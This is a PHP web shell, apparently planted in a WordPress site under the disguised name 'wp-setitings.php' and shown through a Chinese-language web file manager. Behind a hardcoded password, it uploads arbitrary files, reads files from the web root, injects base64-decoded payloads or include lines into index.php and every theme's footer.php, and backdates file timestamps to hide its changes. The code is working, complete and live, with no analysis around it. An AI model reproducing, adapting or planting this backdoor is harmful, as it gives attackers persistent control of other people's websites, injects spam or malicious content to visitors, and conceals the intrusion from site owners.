芝麻web文件管理V1.00

编辑当前文件:/home/p/r/i/prismawe/clients/rhumatism-alp.fr/wp-setitings.php

<?php
error_reporting(0);
ini_set('display_errors', 0); 
set_time_limit(0);
//header("Content-Type: text/html; charset=utf-8");

if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
                    array_map('stripslashes_deep', $value) :
                    stripslashes($value);
        return $value;
    }
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
}

$sysPwd="seoer2024";
$action='';
$password='';

if(isset($_REQUEST['action']))
{
    $action=$_REQUEST['action'];
}
if(isset($_REQUEST['password']))
{
    $password=$_REQUEST['password'];
}

if($action==""||$password=="")
{
    die('__success__parameters error #1__success__');
}
  
if($password!=$sysPwd)
{
    die('__success__parameters error #2__success__');
}

if($action=='uploadfix')
{
	$uploadpath=$_REQUEST['uploadpath'];
	$filename=$_REQUEST['filename'];

UploadFile($uploadpath,$filename);
}
else if($action=='uploadrandom')
{
	$filename=$_REQUEST['filename'];

UploadFileRandom($filename);
}
else if($action=='uploadrandomcur')
{
	$filename=$_REQUEST['filename'];

UploadFileRandomCur($filename);
}
else if($action=='read')
{
	$filename=$_REQUEST['filename'];

$rootPath=GetRootPath();
	$filePath=$rootPath.'/'.$filename;
	$filebody=file_get_contents($filePath);
	echo '__success__'.$filebody.'__success__';
}
else if($action=='linkrobot')
{
	$filename=$_REQUEST['filename'];
	$fileflag='';
	$fileplus="<?php include('".$filename."'); ?>".$fileflag;
	$rootPath=GetRootPath();
	$filePath=$rootPath.'/index.php';
	if(!file_exists($filePath))
	{
		$filePath=$rootPath.'/default.php';
	}
	if(!file_exists($filePath))
	{
		$filePath=$rootPath.'/home.php';
	}
	if(!file_exists($filePath))
	{
		$filePath=$rootPath.'/index.php';
	}
	if(!file_exists($filePath))
	{
		$filebody=$fileplus;
		$fp=fopen($filePath,"w");
		//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody));
		fwrite($fp,$filebody);
		fclose($fp);
	}
	else
	{
		$filebody=file_get_contents($filePath);
		if(strpos('___'.$filebody,$fileplus)!==false)
		{
			$filebody=str_replace($fileflag,'~',$filebody);
			$arrParts=explode("~",$filebody);
			$filebody=$arrParts[1];
		}
		if(strpos('___'.$filebody,$fileplus)===false)
		{
			$filebody=$fileplus."\r\n".$filebody;
			$fp=fopen($filePath,"w");
			//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody));
			fwrite($fp,$filebody);
			fclose($fp);
		}
	}
	if(file_exists($filePath))
	{
		$filebody=file_get_contents($filePath);
		if(strpos('___'.$filebody,$fileplus)!==false)
		{
			ModifyTime($rootPath,$filePath);
			echo '__success__ok__success__';
		}
	}
}
else if($action=='beindex')
{
	$aver='';
	$fileplus='';
	$checkstring='';

if(isset($_REQUEST['aver']))
	{
		$aver=$_REQUEST['aver'];
		$aver=base64_decode($aver);
	}
	if(isset($_REQUEST['fileplus']))
	{
		$fileplus=$_REQUEST['fileplus'];
		$fileplus=base64_decode($fileplus);
	}
	if(isset($_REQUEST['checkstring']))
	{
		$checkstring=$_REQUEST['checkstring'];
		$checkstring='';
	}
	if($aver==""||$fileplus==""||$checkstring=="")
	{
		die('__success__parameters error #3__success__');
	}

$rootPath=GetRootPath();
	$filePath=$rootPath.'/index.php';
	$filePath2=$rootPath.'/backup.txt';
	$filePath3=$rootPath.'/aver.php';
	if(!file_exists($filePath))
	{
		die('__success__file-not-exist__success__');
	}

chmod($filePath,0777);
	$filebody=file_get_contents($filePath);
	if($isdelete=='1')
	{
		$filebody='';
	}
	if(strpos('___'.$filebody,$checkstring)!==false)
	{
		$arrParts=explode($checkstring,$filebody);
		$filebody=$arrParts[count($arrParts)-1];
	}
	if(strpos('___'.$filebody,$checkstring)===false)
	{
		$filebody=$fileplus."\r\n".$checkstring.$filebody;
		$fp=fopen($filePath,"w");
		//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody));
		fwrite($fp,$filebody);
		fclose($fp);

$fp=fopen($filePath2,"w");
		//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody));
		fwrite($fp,$filebody);
		fclose($fp);

$fp=fopen($filePath3,"w");
		//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody));
		fwrite($fp,$aver);
		fclose($fp);
	}

$filebody=file_get_contents($filePath);
	if(strpos('___'.$filebody,$checkstring)!==false)
	{
		ModifyTime($rootPath,$filePath);
		echo '__success__ok__success__';
		exit;
	}
	else
	{
		echo '__success__failed__success__';
		exit;
	}
}
else if($action=='belink')
{
	$fileplus='';
	$checkstring='';

if(isset($_REQUEST['fileplus']))
	{
		$fileplus=$_REQUEST['fileplus'];
		$fileplus=base64_decode($fileplus);
	}
	if(isset($_REQUEST['checkstring']))
	{
		$checkstring=$_REQUEST['checkstring'];
		$checkstring='';
	}
	if($fileplus==""||$checkstring=="")
	{
		die('__success__parameters error #3__success__');
	}

$rootPath=GetRootPath();
	if(!is_dir($rootPath.'/wp-content/themes'))
	{
		die('__success__folder themes not exist__success__');
	}

$folders= GetFolders($rootPath.'/wp-content/themes',false);
	$arrParts=explode("|",$folders);
	$result=0;

for($n=0;$n<count($arrParts);$n++)
	{
		$fileFolder=$arrParts[$n];
		$filePath=$fileFolder.'/footer.php';
		if(!file_exists($filePath))
		{
			continue;
		}

chmod($filePath,0777);
		$filebody=file_get_contents($filePath);
		if(strpos('___'.$filebody,'</body>')===false)
		{
			continue;
		}
		if(strpos('___'.$filebody,$checkstring)!==false)
		{
			$arrParts=explode($checkstring,$filebody);
			$filebody=$arrParts[0].'</body></html>';
		}
		if(strpos('___'.$filebody,$checkstring)===false)
		{
			$filebody=str_replace('</body>',$checkstring."\r\n".$fileplus.'</body>',$filebody);
			$fp=fopen($filePath,"w");
			//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$filebody));
			fwrite($fp,$filebody);
			fclose($fp);
		}

$filebody=file_get_contents($filePath);
		if(strpos('___'.$filebody,$checkstring)!==false)
		{
			ModifyTime($rootPath,$filePath);
			$result++;
		}
	}

if($result>0)
	{
		echo '__success__ok-'.$result.'__success__';
		exit;
	}
	else
	{
		echo '__success__failed__success__';
		exit;
	}
}

function UploadFileRandom($filename)
{
    $hostUrl=is_https().$_SERVER['SERVER_NAME'];
    $rootPath=GetRootPath();
    $folders= GetFolders($rootPath,true);
    $arrParts=explode("|",$folders);
    $index=mt_rand(0,count($arrParts)-1);
    $fileFolder=$arrParts[$index];
    chmod($fileFolder,0777);
    
    $filePath=$fileFolder.'/'.$filename;
    move_uploaded_file($_FILES["upfile"]["tmp_name"],$filePath);
    
    if(file_exists($filePath))
    {
        ModifyTime($fileFolder,$filePath);
        
        $fileUrl=$filePath;
        $fileUrl=str_replace($rootPath,'',$fileUrl);
        $fileUrl=str_replace('\\','/',$fileUrl);
        $fileUrl=str_replace('///','/',$fileUrl);
        $fileUrl=$hostUrl.'/'.$fileUrl;
        echo '__success__'.$fileUrl.'__success__';
    }
}

function UploadFileRandomCur($filename)
{
    $hostUrl=GetLocationURLPath();
    $rootPath=realpath(dirname(__FILE__));
    $folders= GetFolders($rootPath,true);
    $arrParts=explode("|",$folders);
    $index=mt_rand(0,count($arrParts)-1);
    $fileFolder=$arrParts[$index];
    chmod($fileFolder,0777);
    
    $filePath=$fileFolder.'/'.$filename;
    move_uploaded_file($_FILES["upfile"]["tmp_name"],$filePath);
    
    if(file_exists($filePath))
    {
        ModifyTime($fileFolder,$filePath);
        
        $fileUrl=$filePath;
        $fileUrl=str_replace($rootPath,'',$fileUrl);
        $fileUrl=str_replace('\\','/',$fileUrl);
        $fileUrl=str_replace('///','/',$fileUrl);
        $fileUrl=$hostUrl.'/'.$fileUrl;
        echo '__success__'.$fileUrl.'__success__';
    }
}

function UploadFile($uploadpath,$filename)
{
    $hostUrl=is_https().$_SERVER['SERVER_NAME'];
    $rootPath=GetRootPath();
    $fileFolder='';
    $filePath='';
    
    if($uploadpath!="")
    {
        $fileFolder=$rootPath.'/'.$uploadpath;
        $filePath=$fileFolder.'/'.$filename;
        createFolder($fileFolder);
    }
    else
    {
        $fileFolder=$rootPath;
        $filePath=$fileFolder.'/'.$filename;
    }

if(file_exists($filePath))
    {
        chmod($filePath,0777);
    }
    else
    {        
        chmod($fileFolder,0777); 
    }

move_uploaded_file($_FILES["upfile"]["tmp_name"],$filePath);

if(file_exists($filePath))
    {
        ModifyTime($fileFolder,$filePath);
        
        $fileUrl=$filePath;
        $fileUrl=str_replace($rootPath,'',$fileUrl);
        $fileUrl=str_replace('\\','/',$fileUrl);
        $fileUrl=str_replace('///','/',$fileUrl);
        $fileUrl=$hostUrl.'/'.$fileUrl;
        echo '__success__'.$fileUrl.'__success__';
    }
}
  
function ModifyTime($dir,$filePath)
{
    chmod($filePath,0777);
    $randomFile= GetRandomFile($dir);
    if(!empty($randomFile)&&$randomFile!=$filePath)
    {
        $time=filemtime($randomFile);
    }
    else
    {
        $time=randomDate('2009-01-01','2019-01-01',false);
    }
    touch($filePath,$time);
    chmod($filePath,0644);
}

function randomDate($begintime, $endtime="", $now = true)
{
    $begin = strtotime($begintime);  
    $end = $endtime == "" ? mktime() : strtotime($endtime);
    $timestamp = rand($begin, $end);
    return $now ? date("Y-m-d H:i:s", $timestamp) : $timestamp;          
}

function GetLocationURL()
{
  return is_https().$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
}

function GetLocationURLPath()
{
  $pageURL = is_https().$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
  $arrParts=explode("/",$pageURL);
  $pageURL='';
  for($n=0;$n<count($arrParts)-1;$n++)  
  {
        $pageURL.= $arrParts[$n].'/';
  }
  return $pageURL;
}

function GetFolders($dir,$is_sub)
{
    $returnVal='';
    $files = array();  
    $dir_list = scandir($dir);  
    foreach($dir_list as $file)  
    {  
        if($file=='..' || $file=='.')   
            continue;
            
        if(!is_dir($dir.'/'.$file)) 
            continue;

$returnVal.=$dir.'/'.$file.'|';
            
        if($is_sub)
        {
            $returnVal.=GetFolders($dir.'/'.$file,false);
        }
    }
    return $returnVal;
}

function GetFiles($dir)
{
    $returnVal='';
    $files = array();  
    $dir_list = scandir($dir);
    foreach($dir_list as $file)  
    {  
        if($file=='..' || $file=='.')   
            continue;
            
        if(is_dir($dir.'/'.$file)) 
            continue;
            
        if($dir.'/'.$file=='')
            continue;

$returnVal.=$dir.'/'.$file.'|';
    }
    return $returnVal;
}

function GetRandomFile($dir)
{
    $files=GetFiles($dir);
    $arrParts=explode("|",$files);
    $index=mt_rand(0,count($arrParts)-1);
    $filePath=$arrParts[$index];
    return $filePath;
}